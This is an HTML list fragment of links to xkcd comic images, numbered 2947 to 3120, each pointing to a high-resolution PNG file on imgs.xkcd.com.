&lt;li>2947: &lt;a href="https://imgs.xkcd.com/comics/pascals_wager_triangle_2x.png">https://imgs.xkcd.com/comics/pascals_wager_triangle_2x.png&lt;/a>&lt;/li>
&lt;li>2948: &lt;a href="https://imgs.xkcd.com/comics/electric_vs_gas_2x.png">https://imgs.xkcd.com/comics/electric_vs_gas_2x.png&lt;/a>&lt;/li>
&lt;li>2949: &lt;a href="https://imgs.xkcd.com/comics/network_configuration_2x.png">https://imgs.xkcd.com/comics/network_configuration_2x.png&lt;/a>&lt;/li>
&lt;li>2950: &lt;a href="https://imgs.xkcd.com/comics/situation_2x.png">https://imgs.xkcd.com/comics/situation_2x.png&lt;/a>&lt;/li>
&lt;li>2951: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_exterior_kansas_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_exterior_kansas_2x.png&lt;/a>&lt;/li>
&lt;li>2952: &lt;a href="https://imgs.xkcd.com/comics/routine_maintenance_2x.png">https://imgs.xkcd.com/comics/routine_maintenance_2x.png&lt;/a>&lt;/li>
&lt;li>2953: &lt;a href="https://imgs.xkcd.com/comics/alien_theories_2x.png">https://imgs.xkcd.com/comics/alien_theories_2x.png&lt;/a>&lt;/li>
&lt;li>2954: &lt;a href="https://imgs.xkcd.com/comics/bracket_symbols_2x.png">https://imgs.xkcd.com/comics/bracket_symbols_2x.png&lt;/a>&lt;/li>
&lt;li>2955: &lt;a href="https://imgs.xkcd.com/comics/pole_vault_2x.png">https://imgs.xkcd.com/comics/pole_vault_2x.png&lt;/a>&lt;/li>
&lt;li>2956: &lt;a href="https://imgs.xkcd.com/comics/number_line_branch_2x.png">https://imgs.xkcd.com/comics/number_line_branch_2x.png&lt;/a>&lt;/li>
&lt;li>2957: &lt;a href="https://imgs.xkcd.com/comics/a_crossword_puzzle_2x.png">https://imgs.xkcd.com/comics/a_crossword_puzzle_2x.png&lt;/a>&lt;/li>
&lt;li>2958: &lt;a href="https://imgs.xkcd.com/comics/hatchery_2x.png">https://imgs.xkcd.com/comics/hatchery_2x.png&lt;/a>&lt;/li>
&lt;li>2959: &lt;a href="https://imgs.xkcd.com/comics/beam_of_light_2x.png">https://imgs.xkcd.com/comics/beam_of_light_2x.png&lt;/a>&lt;/li>
&lt;li>2960: &lt;a href="https://imgs.xkcd.com/comics/organ_meanings_2x.png">https://imgs.xkcd.com/comics/organ_meanings_2x.png&lt;/a>&lt;/li>
&lt;li>2961: &lt;a href="https://imgs.xkcd.com/comics/crowdstrike_2x.png">https://imgs.xkcd.com/comics/crowdstrike_2x.png&lt;/a>&lt;/li>
&lt;li>2962: &lt;a href="https://imgs.xkcd.com/comics/president_venn_diagram_2x.png">https://imgs.xkcd.com/comics/president_venn_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2963: &lt;a href="https://imgs.xkcd.com/comics/house_inputs_and_outputs_2x.png">https://imgs.xkcd.com/comics/house_inputs_and_outputs_2x.png&lt;/a>&lt;/li>
&lt;li>2964: &lt;a href="https://imgs.xkcd.com/comics/olympic_sports_2x.png">https://imgs.xkcd.com/comics/olympic_sports_2x.png&lt;/a>&lt;/li>
&lt;li>2965: &lt;a href="https://imgs.xkcd.com/comics/chili_tornado_quake_2x.png">https://imgs.xkcd.com/comics/chili_tornado_quake_2x.png&lt;/a>&lt;/li>
&lt;li>2966: &lt;a href="https://imgs.xkcd.com/comics/exam_numbers_2x.png">https://imgs.xkcd.com/comics/exam_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2967: &lt;a href="https://imgs.xkcd.com/comics/matter_2x.png">https://imgs.xkcd.com/comics/matter_2x.png&lt;/a>&lt;/li>
&lt;li>2968: &lt;a href="https://imgs.xkcd.com/comics/university_age_2x.png">https://imgs.xkcd.com/comics/university_age_2x.png&lt;/a>&lt;/li>
&lt;li>2969: &lt;a href="https://imgs.xkcd.com/comics/vice_president_first_names_2x.png">https://imgs.xkcd.com/comics/vice_president_first_names_2x.png&lt;/a>&lt;/li>
&lt;li>2970: &lt;a href="https://imgs.xkcd.com/comics/meteor_shower_psa_2x.png">https://imgs.xkcd.com/comics/meteor_shower_psa_2x.png&lt;/a>&lt;/li>
&lt;li>2971: &lt;a href="https://imgs.xkcd.com/comics/celestial_event_2x.png">https://imgs.xkcd.com/comics/celestial_event_2x.png&lt;/a>&lt;/li>
&lt;li>2972: &lt;a href="https://imgs.xkcd.com/comics/helium_synthesis_2x.png">https://imgs.xkcd.com/comics/helium_synthesis_2x.png&lt;/a>&lt;/li>
&lt;li>2973: &lt;a href="https://imgs.xkcd.com/comics/ferris_wheels_2x.png">https://imgs.xkcd.com/comics/ferris_wheels_2x.png&lt;/a>&lt;/li>
&lt;li>2974: &lt;a href="https://imgs.xkcd.com/comics/storage_tanks_2x.png">https://imgs.xkcd.com/comics/storage_tanks_2x.png&lt;/a>&lt;/li>
&lt;li>2975: &lt;a href="https://imgs.xkcd.com/comics/classical_periodic_table_2x.png">https://imgs.xkcd.com/comics/classical_periodic_table_2x.png&lt;/a>&lt;/li>
&lt;li>2976: &lt;a href="https://imgs.xkcd.com/comics/time_traveler_causes_of_death_2x.png">https://imgs.xkcd.com/comics/time_traveler_causes_of_death_2x.png&lt;/a>&lt;/li>
&lt;li>2977: &lt;a href="https://imgs.xkcd.com/comics/three_kinds_of_research_2x.png">https://imgs.xkcd.com/comics/three_kinds_of_research_2x.png&lt;/a>&lt;/li>
&lt;li>2978: &lt;a href="https://imgs.xkcd.com/comics/stranded_2x.png">https://imgs.xkcd.com/comics/stranded_2x.png&lt;/a>&lt;/li>
&lt;li>2979: &lt;a href="https://imgs.xkcd.com/comics/sky_alarm_2x.png">https://imgs.xkcd.com/comics/sky_alarm_2x.png&lt;/a>&lt;/li>
&lt;li>2980: &lt;a href="https://imgs.xkcd.com/comics/lava_lakes_2x.png">https://imgs.xkcd.com/comics/lava_lakes_2x.png&lt;/a>&lt;/li>
&lt;li>2981: &lt;a href="https://imgs.xkcd.com/comics/slingshots_2x.png">https://imgs.xkcd.com/comics/slingshots_2x.png&lt;/a>&lt;/li>
&lt;li>2982: &lt;a href="https://imgs.xkcd.com/comics/water_filtration_2x.png">https://imgs.xkcd.com/comics/water_filtration_2x.png&lt;/a>&lt;/li>
&lt;li>2983: &lt;a href="https://imgs.xkcd.com/comics/monocaster_2x.png">https://imgs.xkcd.com/comics/monocaster_2x.png&lt;/a>&lt;/li>
&lt;li>2984: &lt;a href="https://imgs.xkcd.com/comics/asteroid_news_2x.png">https://imgs.xkcd.com/comics/asteroid_news_2x.png&lt;/a>&lt;/li>
&lt;li>2985: &lt;a href="https://imgs.xkcd.com/comics/craters_2x.png">https://imgs.xkcd.com/comics/craters_2x.png&lt;/a>&lt;/li>
&lt;li>2986: &lt;a href="https://imgs.xkcd.com/comics/every_scientific_field_2x.png">https://imgs.xkcd.com/comics/every_scientific_field_2x.png&lt;/a>&lt;/li>
&lt;li>2987: &lt;a href="https://imgs.xkcd.com/comics/tectonic_surfing_2x.png">https://imgs.xkcd.com/comics/tectonic_surfing_2x.png&lt;/a>&lt;/li>
&lt;li>2988: &lt;a href="https://imgs.xkcd.com/comics/maslows_pyramid_2x.png">https://imgs.xkcd.com/comics/maslows_pyramid_2x.png&lt;/a>&lt;/li>
&lt;li>2989: &lt;a href="https://imgs.xkcd.com/comics/physics_lab_thermostat_2x.png">https://imgs.xkcd.com/comics/physics_lab_thermostat_2x.png&lt;/a>&lt;/li>
&lt;li>2990: &lt;a href="https://imgs.xkcd.com/comics/late_cenozoic_2x.png">https://imgs.xkcd.com/comics/late_cenozoic_2x.png&lt;/a>&lt;/li>
&lt;li>2991: &lt;a href="https://imgs.xkcd.com/comics/beamsplitters_2x.png">https://imgs.xkcd.com/comics/beamsplitters_2x.png&lt;/a>&lt;/li>
&lt;li>2992: &lt;a href="https://imgs.xkcd.com/comics/uk_coal_2x.png">https://imgs.xkcd.com/comics/uk_coal_2x.png&lt;/a>&lt;/li>
&lt;li>2993: &lt;a href="https://imgs.xkcd.com/comics/ingredients_2x.png">https://imgs.xkcd.com/comics/ingredients_2x.png&lt;/a>&lt;/li>
&lt;li>2994: &lt;a href="https://imgs.xkcd.com/comics/numenor_margaritaville_2x.png">https://imgs.xkcd.com/comics/numenor_margaritaville_2x.png&lt;/a>&lt;/li>
&lt;li>2995: &lt;a href="https://imgs.xkcd.com/comics/university_commas_2x.png">https://imgs.xkcd.com/comics/university_commas_2x.png&lt;/a>&lt;/li>
&lt;li>2996: &lt;a href="https://imgs.xkcd.com/comics/cidabm_2x.png">https://imgs.xkcd.com/comics/cidabm_2x.png&lt;/a>&lt;/li>
&lt;li>2997: &lt;a href="https://imgs.xkcd.com/comics/solar_protons_2x.png">https://imgs.xkcd.com/comics/solar_protons_2x.png&lt;/a>&lt;/li>
&lt;li>2998: &lt;a href="https://imgs.xkcd.com/comics/ravioli_shaped_objects_2x.png">https://imgs.xkcd.com/comics/ravioli_shaped_objects_2x.png&lt;/a>&lt;/li>
&lt;li>2999: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_the_united_stralia_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_the_united_stralia_2x.png&lt;/a>&lt;/li>
&lt;li>3000: &lt;a href="https://imgs.xkcd.com/comics/experimental_astrophysics_2x.png">https://imgs.xkcd.com/comics/experimental_astrophysics_2x.png&lt;/a>&lt;/li>
&lt;li>3001: &lt;a href="https://imgs.xkcd.com/comics/temperature_scales_2x.png">https://imgs.xkcd.com/comics/temperature_scales_2x.png&lt;/a>&lt;/li>
&lt;li>3002: &lt;a href="https://imgs.xkcd.com/comics/rnaworld_2x.png">https://imgs.xkcd.com/comics/rnaworld_2x.png&lt;/a>&lt;/li>
&lt;li>3003: &lt;a href="https://imgs.xkcd.com/comics/sandwich_helix_2x.png">https://imgs.xkcd.com/comics/sandwich_helix_2x.png&lt;/a>&lt;/li>
&lt;li>3004: &lt;a href="https://imgs.xkcd.com/comics/wells_2x.png">https://imgs.xkcd.com/comics/wells_2x.png&lt;/a>&lt;/li>
&lt;li>3005: &lt;a href="https://imgs.xkcd.com/comics/disposal_2x.png">https://imgs.xkcd.com/comics/disposal_2x.png&lt;/a>&lt;/li>
&lt;li>3006: &lt;a href="https://imgs.xkcd.com/comics/demons_2x.png">https://imgs.xkcd.com/comics/demons_2x.png&lt;/a>&lt;/li>
&lt;li>3007: &lt;a href="https://imgs.xkcd.com/comics/probabilistic_uncertainty_2x.png">https://imgs.xkcd.com/comics/probabilistic_uncertainty_2x.png&lt;/a>&lt;/li>
&lt;li>3008: &lt;a href="https://imgs.xkcd.com/comics/proterozoic_rocks_2x.png">https://imgs.xkcd.com/comics/proterozoic_rocks_2x.png&lt;/a>&lt;/li>
&lt;li>3009: &lt;a href="https://imgs.xkcd.com/comics/number_shortage_2x.png">https://imgs.xkcd.com/comics/number_shortage_2x.png&lt;/a>&lt;/li>
&lt;li>3010: &lt;a href="https://imgs.xkcd.com/comics/geometriphylogenetics_2x.png">https://imgs.xkcd.com/comics/geometriphylogenetics_2x.png&lt;/a>&lt;/li>
&lt;li>3011: &lt;a href="https://imgs.xkcd.com/comics/europa_clipper_2x.png">https://imgs.xkcd.com/comics/europa_clipper_2x.png&lt;/a>&lt;/li>
&lt;li>3012: &lt;a href="https://imgs.xkcd.com/comics/the_future_of_orion_2x.png">https://imgs.xkcd.com/comics/the_future_of_orion_2x.png&lt;/a>&lt;/li>
&lt;li>3013: &lt;a href="https://imgs.xkcd.com/comics/kedging_cannon_2x.png">https://imgs.xkcd.com/comics/kedging_cannon_2x.png&lt;/a>&lt;/li>
&lt;li>3014: &lt;a href="https://imgs.xkcd.com/comics/arizona_chess_2x.png">https://imgs.xkcd.com/comics/arizona_chess_2x.png&lt;/a>&lt;/li>
&lt;li>3015: &lt;a href="https://imgs.xkcd.com/comics/dnd_combinatorics_2x.png">https://imgs.xkcd.com/comics/dnd_combinatorics_2x.png&lt;/a>&lt;/li>
&lt;li>3016: &lt;a href="https://imgs.xkcd.com/comics/cold_air_2x.png">https://imgs.xkcd.com/comics/cold_air_2x.png&lt;/a>&lt;/li>
&lt;li>3017: &lt;a href="https://imgs.xkcd.com/comics/neutrino_modem_2x.png">https://imgs.xkcd.com/comics/neutrino_modem_2x.png&lt;/a>&lt;/li>
&lt;li>3018: &lt;a href="https://imgs.xkcd.com/comics/second_stage_2x.png">https://imgs.xkcd.com/comics/second_stage_2x.png&lt;/a>&lt;/li>
&lt;li>3019: &lt;a href="https://imgs.xkcd.com/comics/advent_calendar_advent_calendar_2x.png">https://imgs.xkcd.com/comics/advent_calendar_advent_calendar_2x.png&lt;/a>&lt;/li>
&lt;li>3020: &lt;a href="https://imgs.xkcd.com/comics/infinite_armada_chess_2x.png">https://imgs.xkcd.com/comics/infinite_armada_chess_2x.png&lt;/a>&lt;/li>
&lt;li>3021: &lt;a href="https://imgs.xkcd.com/comics/seismologists_2x.png">https://imgs.xkcd.com/comics/seismologists_2x.png&lt;/a>&lt;/li>
&lt;li>3022: &lt;a href="https://imgs.xkcd.com/comics/making_tea_2x.png">https://imgs.xkcd.com/comics/making_tea_2x.png&lt;/a>&lt;/li>
&lt;li>3023: &lt;a href="https://imgs.xkcd.com/comics/the_maritime_approximation_2x.png">https://imgs.xkcd.com/comics/the_maritime_approximation_2x.png&lt;/a>&lt;/li>
&lt;li>3024: &lt;a href="https://imgs.xkcd.com/comics/metar_2x.png">https://imgs.xkcd.com/comics/metar_2x.png&lt;/a>&lt;/li>
&lt;li>3025: &lt;a href="https://imgs.xkcd.com/comics/phase_change_2x.png">https://imgs.xkcd.com/comics/phase_change_2x.png&lt;/a>&lt;/li>
&lt;li>3026: &lt;a href="https://imgs.xkcd.com/comics/linear_sort_2x.png">https://imgs.xkcd.com/comics/linear_sort_2x.png&lt;/a>&lt;/li>
&lt;li>3027: &lt;a href="https://imgs.xkcd.com/comics/exclusion_principle_2x.png">https://imgs.xkcd.com/comics/exclusion_principle_2x.png&lt;/a>&lt;/li>
&lt;li>3028: &lt;a href="https://imgs.xkcd.com/comics/dnd_roll_2x.png">https://imgs.xkcd.com/comics/dnd_roll_2x.png&lt;/a>&lt;/li>
&lt;li>3029: &lt;a href="https://imgs.xkcd.com/comics/sun_avoidance_2x.png">https://imgs.xkcd.com/comics/sun_avoidance_2x.png&lt;/a>&lt;/li>
&lt;li>3030: &lt;a href="https://imgs.xkcd.com/comics/lasering_incidents_2x.png">https://imgs.xkcd.com/comics/lasering_incidents_2x.png&lt;/a>&lt;/li>
&lt;li>3031: &lt;a href="https://imgs.xkcd.com/comics/time_capsule_instructions_2x.png">https://imgs.xkcd.com/comics/time_capsule_instructions_2x.png&lt;/a>&lt;/li>
&lt;li>3032: &lt;a href="https://imgs.xkcd.com/comics/skew_t_log_p_2x.png">https://imgs.xkcd.com/comics/skew_t_log_p_2x.png&lt;/a>&lt;/li>
&lt;li>3033: &lt;a href="https://imgs.xkcd.com/comics/origami_black_hole_2x.png">https://imgs.xkcd.com/comics/origami_black_hole_2x.png&lt;/a>&lt;/li>
&lt;li>3034: &lt;a href="https://imgs.xkcd.com/comics/features_of_adulthood_2x.png">https://imgs.xkcd.com/comics/features_of_adulthood_2x.png&lt;/a>&lt;/li>
&lt;li>3035: &lt;a href="https://imgs.xkcd.com/comics/trimix_2x.png">https://imgs.xkcd.com/comics/trimix_2x.png&lt;/a>&lt;/li>
&lt;li>3036: &lt;a href="https://imgs.xkcd.com/comics/chess_zoo_2x.png">https://imgs.xkcd.com/comics/chess_zoo_2x.png&lt;/a>&lt;/li>
&lt;li>3037: &lt;a href="https://imgs.xkcd.com/comics/radon_2x.png">https://imgs.xkcd.com/comics/radon_2x.png&lt;/a>&lt;/li>
&lt;li>3038: &lt;a href="https://imgs.xkcd.com/comics/uncanceled_units_2x.png">https://imgs.xkcd.com/comics/uncanceled_units_2x.png&lt;/a>&lt;/li>
&lt;li>3039: &lt;a href="https://imgs.xkcd.com/comics/human_altitude_2x.png">https://imgs.xkcd.com/comics/human_altitude_2x.png&lt;/a>&lt;/li>
&lt;li>3040: &lt;a href="https://imgs.xkcd.com/comics/chemical_formulas_2x.png">https://imgs.xkcd.com/comics/chemical_formulas_2x.png&lt;/a>&lt;/li>
&lt;li>3041: &lt;a href="https://imgs.xkcd.com/comics/unit_circle_2x.png">https://imgs.xkcd.com/comics/unit_circle_2x.png&lt;/a>&lt;/li>
&lt;li>3042: &lt;a href="https://imgs.xkcd.com/comics/t_rex_evolution_2x.png">https://imgs.xkcd.com/comics/t_rex_evolution_2x.png&lt;/a>&lt;/li>
&lt;li>3043: &lt;a href="https://imgs.xkcd.com/comics/muons_2x.png">https://imgs.xkcd.com/comics/muons_2x.png&lt;/a>&lt;/li>
&lt;li>3044: &lt;a href="https://imgs.xkcd.com/comics/humidifier_review_2x.png">https://imgs.xkcd.com/comics/humidifier_review_2x.png&lt;/a>&lt;/li>
&lt;li>3045: &lt;a href="https://imgs.xkcd.com/comics/alphamove_2x.png">https://imgs.xkcd.com/comics/alphamove_2x.png&lt;/a>&lt;/li>
&lt;li>3046: &lt;a href="https://imgs.xkcd.com/comics/stromatolites_2x.png">https://imgs.xkcd.com/comics/stromatolites_2x.png&lt;/a>&lt;/li>
&lt;li>3047: &lt;a href="https://imgs.xkcd.com/comics/rotary_tool_2x.png">https://imgs.xkcd.com/comics/rotary_tool_2x.png&lt;/a>&lt;/li>
&lt;li>3048: &lt;a href="https://imgs.xkcd.com/comics/suspension_bridge_2x.png">https://imgs.xkcd.com/comics/suspension_bridge_2x.png&lt;/a>&lt;/li>
&lt;li>3049: &lt;a href="https://imgs.xkcd.com/comics/incoming_asteroid_2x.png">https://imgs.xkcd.com/comics/incoming_asteroid_2x.png&lt;/a>&lt;/li>
&lt;li>3050: &lt;a href="https://imgs.xkcd.com/comics/atom_2x.png">https://imgs.xkcd.com/comics/atom_2x.png&lt;/a>&lt;/li>
&lt;li>3051: &lt;a href="https://imgs.xkcd.com/comics/hardwood_2x.png">https://imgs.xkcd.com/comics/hardwood_2x.png&lt;/a>&lt;/li>
&lt;li>3052: &lt;a href="https://imgs.xkcd.com/comics/archive_request_2x.png">https://imgs.xkcd.com/comics/archive_request_2x.png&lt;/a>&lt;/li>
&lt;li>3053: &lt;a href="https://imgs.xkcd.com/comics/km3net_2x.png">https://imgs.xkcd.com/comics/km3net_2x.png&lt;/a>&lt;/li>
&lt;li>3054: &lt;a href="https://imgs.xkcd.com/comics/scream_cipher_2x.png">https://imgs.xkcd.com/comics/scream_cipher_2x.png&lt;/a>&lt;/li>
&lt;li>3055: &lt;a href="https://imgs.xkcd.com/comics/giants_2x.png">https://imgs.xkcd.com/comics/giants_2x.png&lt;/a>&lt;/li>
&lt;li>3056: &lt;a href="https://imgs.xkcd.com/comics/rna_2x.png">https://imgs.xkcd.com/comics/rna_2x.png&lt;/a>&lt;/li>
&lt;li>3057: &lt;a href="https://imgs.xkcd.com/comics/excusing_yourself_2x.png">https://imgs.xkcd.com/comics/excusing_yourself_2x.png&lt;/a>&lt;/li>
&lt;li>3058: &lt;a href="https://imgs.xkcd.com/comics/tall_structures_2x.png">https://imgs.xkcd.com/comics/tall_structures_2x.png&lt;/a>&lt;/li>
&lt;li>3059: &lt;a href="https://imgs.xkcd.com/comics/water_damage_2x.png">https://imgs.xkcd.com/comics/water_damage_2x.png&lt;/a>&lt;/li>
&lt;li>3060: &lt;a href="https://imgs.xkcd.com/comics/omniroll_2x.png">https://imgs.xkcd.com/comics/omniroll_2x.png&lt;/a>&lt;/li>
&lt;li>3061: &lt;a href="https://imgs.xkcd.com/comics/water_balloons_2x.png">https://imgs.xkcd.com/comics/water_balloons_2x.png&lt;/a>&lt;/li>
&lt;li>3062: &lt;a href="https://imgs.xkcd.com/comics/off_by_one_2x.png">https://imgs.xkcd.com/comics/off_by_one_2x.png&lt;/a>&lt;/li>
&lt;li>3063: &lt;a href="https://imgs.xkcd.com/comics/planet_definitions_2x.png">https://imgs.xkcd.com/comics/planet_definitions_2x.png&lt;/a>&lt;/li>
&lt;li>3064: &lt;a href="https://imgs.xkcd.com/comics/lungfish_2x.png">https://imgs.xkcd.com/comics/lungfish_2x.png&lt;/a>&lt;/li>
&lt;li>3065: &lt;a href="https://imgs.xkcd.com/comics/square_units_2x.png">https://imgs.xkcd.com/comics/square_units_2x.png&lt;/a>&lt;/li>
&lt;li>3066: &lt;a href="https://imgs.xkcd.com/comics/cosmic_distance_calibration_2x.png">https://imgs.xkcd.com/comics/cosmic_distance_calibration_2x.png&lt;/a>&lt;/li>
&lt;li>3067: &lt;a href="https://imgs.xkcd.com/comics/sawstart_2x.png">https://imgs.xkcd.com/comics/sawstart_2x.png&lt;/a>&lt;/li>
&lt;li>3068: &lt;a href="https://imgs.xkcd.com/comics/rock_identification_2x.png">https://imgs.xkcd.com/comics/rock_identification_2x.png&lt;/a>&lt;/li>
&lt;li>3069: &lt;a href="https://imgs.xkcd.com/comics/terror_bird_2x.png">https://imgs.xkcd.com/comics/terror_bird_2x.png&lt;/a>&lt;/li>
&lt;li>3070: &lt;a href="https://imgs.xkcd.com/comics/orogeny_2x.png">https://imgs.xkcd.com/comics/orogeny_2x.png&lt;/a>&lt;/li>
&lt;li>3071: &lt;a href="https://imgs.xkcd.com/comics/decay_chain_2x.png">https://imgs.xkcd.com/comics/decay_chain_2x.png&lt;/a>&lt;/li>
&lt;li>3072: &lt;a href="https://imgs.xkcd.com/comics/stargazing_4_2x.png">https://imgs.xkcd.com/comics/stargazing_4_2x.png&lt;/a>&lt;/li>
&lt;li>3073: &lt;a href="https://imgs.xkcd.com/comics/tariffs_2x.png">https://imgs.xkcd.com/comics/tariffs_2x.png&lt;/a>&lt;/li>
&lt;li>3074: &lt;a href="https://imgs.xkcd.com/comics/push_notifications_2x.png">https://imgs.xkcd.com/comics/push_notifications_2x.png&lt;/a>&lt;/li>
&lt;li>3075: &lt;a href="https://imgs.xkcd.com/comics/anachronym_challenge_2x.png">https://imgs.xkcd.com/comics/anachronym_challenge_2x.png&lt;/a>&lt;/li>
&lt;li>3076: &lt;a href="https://imgs.xkcd.com/comics/the_roads_both_taken_2x.png">https://imgs.xkcd.com/comics/the_roads_both_taken_2x.png&lt;/a>&lt;/li>
&lt;li>3077: &lt;a href="https://imgs.xkcd.com/comics/de_sitter_2x.png">https://imgs.xkcd.com/comics/de_sitter_2x.png&lt;/a>&lt;/li>
&lt;li>3078: &lt;a href="https://imgs.xkcd.com/comics/anchor_bolts_2x.png">https://imgs.xkcd.com/comics/anchor_bolts_2x.png&lt;/a>&lt;/li>
&lt;li>3079: &lt;a href="https://imgs.xkcd.com/comics/air_fact_2x.png">https://imgs.xkcd.com/comics/air_fact_2x.png&lt;/a>&lt;/li>
&lt;li>3080: &lt;a href="https://imgs.xkcd.com/comics/tennis_balls_2x.png">https://imgs.xkcd.com/comics/tennis_balls_2x.png&lt;/a>&lt;/li>
&lt;li>3081: &lt;a href="https://imgs.xkcd.com/comics/phd_timeline_2x.png">https://imgs.xkcd.com/comics/phd_timeline_2x.png&lt;/a>&lt;/li>
&lt;li>3082: &lt;a href="https://imgs.xkcd.com/comics/chess_position_2x.png">https://imgs.xkcd.com/comics/chess_position_2x.png&lt;/a>&lt;/li>
&lt;li>3083: &lt;a href="https://imgs.xkcd.com/comics/jupiter_core_2x.png">https://imgs.xkcd.com/comics/jupiter_core_2x.png&lt;/a>&lt;/li>
&lt;li>3084: &lt;a href="https://imgs.xkcd.com/comics/unstoppable_force_and_immovable_object_2x.png">https://imgs.xkcd.com/comics/unstoppable_force_and_immovable_object_2x.png&lt;/a>&lt;/li>
&lt;li>3085: &lt;a href="https://imgs.xkcd.com/comics/about_20_pounds_2x.png">https://imgs.xkcd.com/comics/about_20_pounds_2x.png&lt;/a>&lt;/li>
&lt;li>3086: &lt;a href="https://imgs.xkcd.com/comics/globe_safety_2x.png">https://imgs.xkcd.com/comics/globe_safety_2x.png&lt;/a>&lt;/li>
&lt;li>3087: &lt;a href="https://imgs.xkcd.com/comics/pascals_law_2x.png">https://imgs.xkcd.com/comics/pascals_law_2x.png&lt;/a>&lt;/li>
&lt;li>3088: &lt;a href="https://imgs.xkcd.com/comics/deposition_2x.png">https://imgs.xkcd.com/comics/deposition_2x.png&lt;/a>&lt;/li>
&lt;li>3089: &lt;a href="https://imgs.xkcd.com/comics/modern_2x.png">https://imgs.xkcd.com/comics/modern_2x.png&lt;/a>&lt;/li>
&lt;li>3090: &lt;a href="https://imgs.xkcd.com/comics/sail_physics_2x.png">https://imgs.xkcd.com/comics/sail_physics_2x.png&lt;/a>&lt;/li>
&lt;li>3091: &lt;a href="https://imgs.xkcd.com/comics/renormalization_2x.png">https://imgs.xkcd.com/comics/renormalization_2x.png&lt;/a>&lt;/li>
&lt;li>3092: &lt;a href="https://imgs.xkcd.com/comics/bakers_units_2x.png">https://imgs.xkcd.com/comics/bakers_units_2x.png&lt;/a>&lt;/li>
&lt;li>3093: &lt;a href="https://imgs.xkcd.com/comics/drafting_2x.png">https://imgs.xkcd.com/comics/drafting_2x.png&lt;/a>&lt;/li>
&lt;li>3094: &lt;a href="https://imgs.xkcd.com/comics/mass_spec_2x.png">https://imgs.xkcd.com/comics/mass_spec_2x.png&lt;/a>&lt;/li>
&lt;li>3095: &lt;a href="https://imgs.xkcd.com/comics/archaea_2x.png">https://imgs.xkcd.com/comics/archaea_2x.png&lt;/a>&lt;/li>
&lt;li>3096: &lt;a href="https://imgs.xkcd.com/comics/check_engine_2x.png">https://imgs.xkcd.com/comics/check_engine_2x.png&lt;/a>&lt;/li>
&lt;li>3097: &lt;a href="https://imgs.xkcd.com/comics/bridge_types_2x.png">https://imgs.xkcd.com/comics/bridge_types_2x.png&lt;/a>&lt;/li>
&lt;li>3098: &lt;a href="https://imgs.xkcd.com/comics/trojan_horse_2x.png">https://imgs.xkcd.com/comics/trojan_horse_2x.png&lt;/a>&lt;/li>
&lt;li>3099: &lt;a href="https://imgs.xkcd.com/comics/neighbor_source_heat_pump_2x.png">https://imgs.xkcd.com/comics/neighbor_source_heat_pump_2x.png&lt;/a>&lt;/li>
&lt;li>3100: &lt;a href="https://imgs.xkcd.com/comics/alert_sound_2x.png">https://imgs.xkcd.com/comics/alert_sound_2x.png&lt;/a>&lt;/li>
&lt;li>3101: &lt;a href="https://imgs.xkcd.com/comics/good_science_2x.png">https://imgs.xkcd.com/comics/good_science_2x.png&lt;/a>&lt;/li>
&lt;li>3102: &lt;a href="https://imgs.xkcd.com/comics/reading_a_big_number_2x.png">https://imgs.xkcd.com/comics/reading_a_big_number_2x.png&lt;/a>&lt;/li>
&lt;li>3103: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_system_2x.png">https://imgs.xkcd.com/comics/exoplanet_system_2x.png&lt;/a>&lt;/li>
&lt;li>3104: &lt;a href="https://imgs.xkcd.com/comics/tukey_2x.png">https://imgs.xkcd.com/comics/tukey_2x.png&lt;/a>&lt;/li>
&lt;li>3105: &lt;a href="https://imgs.xkcd.com/comics/interoperability_2x.png">https://imgs.xkcd.com/comics/interoperability_2x.png&lt;/a>&lt;/li>
&lt;li>3106: &lt;a href="https://imgs.xkcd.com/comics/farads_2x.png">https://imgs.xkcd.com/comics/farads_2x.png&lt;/a>&lt;/li>
&lt;li>3107: &lt;a href="https://imgs.xkcd.com/comics/weather_balloons_2x.png">https://imgs.xkcd.com/comics/weather_balloons_2x.png&lt;/a>&lt;/li>
&lt;li>3108: &lt;a href="https://imgs.xkcd.com/comics/laser_danger_2x.png">https://imgs.xkcd.com/comics/laser_danger_2x.png&lt;/a>&lt;/li>
&lt;li>3109: &lt;a href="https://imgs.xkcd.com/comics/dehumidifier_2x.png">https://imgs.xkcd.com/comics/dehumidifier_2x.png&lt;/a>&lt;/li>
&lt;li>3110: &lt;a href="https://imgs.xkcd.com/comics/global_ranking_2x.png">https://imgs.xkcd.com/comics/global_ranking_2x.png&lt;/a>&lt;/li>
&lt;li>3111: &lt;a href="https://imgs.xkcd.com/comics/artificial_gravity_2x.png">https://imgs.xkcd.com/comics/artificial_gravity_2x.png&lt;/a>&lt;/li>
&lt;li>3112: &lt;a href="https://imgs.xkcd.com/comics/geology_murder_2x.png">https://imgs.xkcd.com/comics/geology_murder_2x.png&lt;/a>&lt;/li>
&lt;li>3113: &lt;a href="https://imgs.xkcd.com/comics/fix_this_sign_2x.png">https://imgs.xkcd.com/comics/fix_this_sign_2x.png&lt;/a>&lt;/li>
&lt;li>3114: &lt;a href="https://imgs.xkcd.com/comics/building_a_fire_2x.png">https://imgs.xkcd.com/comics/building_a_fire_2x.png&lt;/a>&lt;/li>
&lt;li>3115: &lt;a href="https://imgs.xkcd.com/comics/unsolved_physics_problems_2x.png">https://imgs.xkcd.com/comics/unsolved_physics_problems_2x.png&lt;/a>&lt;/li>
&lt;li>3116: &lt;a href="https://imgs.xkcd.com/comics/echo_chamber_2x.png">https://imgs.xkcd.com/comics/echo_chamber_2x.png&lt;/a>&lt;/li>
&lt;li>3117: &lt;a href="https://imgs.xkcd.com/comics/replication_crisis_2x.png">https://imgs.xkcd.com/comics/replication_crisis_2x.png&lt;/a>&lt;/li>
&lt;li>3118: &lt;a href="https://imgs.xkcd.com/comics/inaturalist_animals_and_plants_2x.png">https://imgs.xkcd.com/comics/inaturalist_animals_and_plants_2x.png&lt;/a>&lt;/li>
&lt;li>3119: &lt;a href="https://imgs.xkcd.com/comics/flettner_rotor_2x.png">https://imgs.xkcd.com/comics/flettner_rotor_2x.png&lt;/a>&lt;/li>
&lt;li>3120: &lt;a href="https://imgs.xkcd.com/comics/geologic_periods_2x.png">https://imgs.xkcd.com/comics/geologic_periods_2x.png&lt;/a>&lt;/li>
